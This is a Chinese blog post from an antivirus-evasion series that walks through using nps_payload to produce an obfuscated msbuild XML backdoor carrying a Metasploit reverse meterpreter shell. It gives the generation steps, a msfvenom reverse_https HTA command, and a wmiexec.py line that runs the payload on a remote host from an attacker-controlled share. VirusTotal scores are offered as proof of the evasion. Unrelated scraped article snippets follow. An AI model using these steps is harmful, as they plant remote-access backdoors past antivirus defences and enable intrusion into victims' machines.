远控免杀专题(19)-nps_payload免杀

免杀能力一览表

在这里插入图片描述
几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、nps_payload介绍

nps_payload是2017年开源的工具,安装使用都比较简单,nps_payload可以生成基于msbuild的xml文件和独立执行的hta文件,并对xml文件和hta文件做了一定的混淆免杀,从而达到免杀的效果。

二、安装nps_payload

1、克隆到本地

git clone  https://github.com/trustedsec/nps_payload

2、安装py依赖


pip install -r requirements.txt

3、运行python nps_payload.py
在这里插入图片描述

三、nps_payload使用说明

nps_payload生成的xml或hta文件都需要使用msbuild来执行。

Microsoft Build Engine是一个用于构建应用程序的平台,此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和构建软件。Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe,可以在未安装Visual Studio的环境中编译和生成程序。

说明:Msbuild.exe所在路径没有被系统添加PATH环境变量中,因此,Msbuild命令无法直接在cmd中使用。需要带上路径:C:\Windows\Microsoft.NET\Framework\v4.0.30319。

适用条件:.NET Framework>=4.0

nps_payload对xml文件和hta文件做的一些免杀是比较直接有效的:

在这里插入图片描述

三、利用nps_payload生成后门

我就以生成基于msbuild的xml文件为例进行演示。

执行python nps_payload.py,选择1,Generate msbuild/nps/msf payload

第2步payload选择1,windows/meterpreter/reverse_tcp

后面输入监听IP和端口
在这里插入图片描述
之后可生成后门文件
在这里插入图片描述
我们需要用到的只有msbuild_nps.xml这一个文件
在这里插入图片描述
msbuild_nps.xml文件内容如下,命令经过了编码处理
在这里插入图片描述
文件的执行方式有两种

1. 本地加载执行:
- %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml2. 远程文件执行:wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml

我这里就用本地加载进行测试,msbuild.exe在windows中的的一般路径为C:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
在这里插入图片描述
msfconsole监听相应payload和端口,可正常上线
在这里插入图片描述
打开杀软进行测试
在这里插入图片描述
virustotal.com上查杀率为3/56

在这里插入图片描述
使用nps_payload生成的hta文件,virustotal.com上查杀率为7/57。(msf直接生成的hta-psh文件查杀为28/57,msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f hta-psh -o test.hta)
在这里插入图片描述

四、nps_payload小结

基于白名单的执行payload侯亮大神讲的比较多了,nps_payload只是使用了其中的msbuild.exe方法,nps_payload还对生成的文件进行了混淆处理,使用非常简单,免杀效果也是不错的。

五、参考资料

官方Github:https://github.com/trustedsec/nps_payload

基于白名单Msbuild.exe执行payload第一季:https://micro8.gitbook.io/micro8/contents-1/71-80/71-ji-yu-bai-ming-dan-msbuild.exe-zhi-hang-payload-di-yi-ji

使用msbuild.exe绕过应用程序白名单(多种方法):https://www.cnblogs.com/backlion/p/10490573.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/380115.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VS2005中使用WebDeploymentProject的问题

近来做Web项目&#xff0c;VS2005中发布网站时默认发布大批的程序集&#xff0c;这给升级网站时造成很大麻烦&#xff0c;所以偶从MS下载了个WebDeploymentProject的插件&#xff08;下载地址http://download.microsoft.com/download/c/c/b/ccb4877f-55f7-4478-8f16-e41886607a…

操作系统中的多级队列调度

多级队列调度 (Multilevel queue scheduling) Every algorithm supports a different class of process but in a generalized system, some process wants to be scheduled using a priority algorithm. While some process wants to remain in the system (interactive proce…

编写一程序,输入一个字符串,查找该字符串中是否包含“abc”。

import java.lang.String.*;//这里调用java.long.String.contains()方法&#xff1b; import java.util.Scanner; public class shit {public static void main(String[] args) {Scanner wsq new Scanner(System.in);String str wsq.next();boolean status str.contains(&qu…

显示消息提示对话框(WebForm)

1: /// <summary>2: /// 显示消息提示对话框。3: /// Copyright (C) Maticsoft4: /// </summary>5: public class MessageBox6: { 7: private MessageBox()8: { 9: }10: 11: …

借助格式化输出过canary保护

0x01 canary保护机制 栈溢出保护是一种缓冲区溢出攻击缓解手段&#xff0c;当函数存在缓冲区溢出攻击漏洞时&#xff0c;攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后&#xff0c;函数开始执行的时候会先往栈里插入cookie信息&#xff0c;当函数真…

什么叫灰度图

任何颜色都有红、绿、蓝三原色组成&#xff0c;假如原来某点的颜色为RGB(R&#xff0c;G&#xff0c;B)&#xff0c;那么&#xff0c;我们可以通过下面几种方法&#xff0c;将其转换为灰度&#xff1a; 1.浮点算法&#xff1a;GrayR*0.3G*0.59B*0.11 2.整数方法&#xff1a;Gra…

各抓包软件的之间差异_系统软件和应用程序软件之间的差异

各抓包软件的之间差异什么是软件&#xff1f; (What is Software?) Software is referred to as a set of programs that are designed to perform a well-defined function. A program is a particular sequence of instructions written to solve a particular problem. 软件…

输入一字符串,统计其中有多少个单词(单词之间用空格分隔)(java)

import java.util.*; class Example3{public static void main(String args[]){Scanner sc new Scanner(System.in);String s sc.nextLine();//这里的sc.nextLine&#xff08;&#xff09;空格也会记数&#xff1b;StringTokenizer st new StringTokenizer(s," ")…

为何苦命干活的人成不了专家?

所谓熟能生巧&#xff0c;但离专家却有一个巨大的鸿沟&#xff0c;在农田干活的农民怎么也成不了水稻专家&#xff0c;推广之&#xff0c;那些在本职工作上勤勤恳恳的人&#xff0c;在业务上总有一个不可冲破的瓶颈。 这种现象非常普遍&#xff0c;这就是为什么很多人很勤奋&am…

今天发布一个新网站www.heijidi.com

新网站发布了&#xff0c;欢迎访问&#xff0c;关于国产机的 网站 www.heijidi.com 转载于:https://www.cnblogs.com/liugod/archive/2008/03/26/1122753.html

ret2shellcdoe

ret2shellcode的关键是找到一个缓冲区&#xff0c;这个缓冲区是可读写写可执行的&#xff0c;我们要想办法把我们的shellcdoe放到这个缓冲区&#xff0c;然后跳转到我们的shellcode处执行。 例子&#xff1a; #include <stdio.h> #include <string.h> char str1[…

stl取出字符串中的字符_从C ++ STL中的字符串访问字符元素

stl取出字符串中的字符字符串作为数据类型 (String as datatype) In C, we know string basically a character array terminated by \0. Thus to operate with the string we define character array. But in C, the standard library gives us the facility to use the strin…

Object类的hashCode()方法

public class day11 {public static void main(String[] args) {Object obj1 new Object();int hashCode obj1.hashCode();System.out.println(hashCode);}} hashCode public int hashCode()返回该对象的哈希码值。支持此方法是为了提高哈希表&#xff08;例如 java.util.Ha…

调整Tomcat上的参数提高性能[转]

Webtop Performance Test w/ Tomcat(调整Tomcat上的参数提高性能) Login several users with one second between each login. After the 25th user, the users begin to experience poor performance, to the point where some users are receiving “Page cannot be display…

RecordSet中的open完全的语法

RecordSet中的open完全的语法是:SecordSet.Open Source,ActiveConnection,CursorType,LockType,Options例如&#xff1a; rs.open sql,conn,1,3CursorTypeadOpenForwardOnly 0 默认游标类型, 为打开向前游标, 只能在记录集中向前移动。adOpenKeyset 1 打开键集类型的游标, 可以…

用筛选法求100之内的素数

#include <stdio.h> int main() {int i ,j ,a[100];//定义一个数组存放1~100&#xff1b;for(i2; i<100; i)//由于1既不是素数也不是质素&#xff0c;所以不用考虑1&#xff0c;直接从2开始&#xff1b;{a[i]i;//以次赋值&#xff0c;2~100&#xff1b;for(j2; j<i…

远控免杀专题(20)-GreatSCT免杀

转载&#xff1a;https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ 免杀能力一览表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/mete…

Java LinkedList对象的get(int index)方法与示例

LinkedList对象的get(int索引)方法 (LinkedList Object get(int index) method) This method is available in package java.util.LinkedList.get(int index). 软件包java.util.LinkedList.get(int index)中提供了此方法。 This method is used to retrieve an object or eleme…

Sql养成一个好习惯是一笔财富

我们做软件开发的&#xff0c;大部分人都离不开跟数据库打交道&#xff0c;特别是erp开发的&#xff0c;跟数据库打交道更是频繁&#xff0c;存储过程动不动就是上千行&#xff0c;如果数据量大&#xff0c;人员流动大&#xff0c;那么我么还能保证下一段时间系统还能流畅的运行…

java上传类

publicString doFormFile(FormFile file, String dir) { try { File f new File(dir); if (!f.exists()) { f.mkdir();//如果路径不存在&#xff0c;创建 } InputStream in file.getInputStream(); …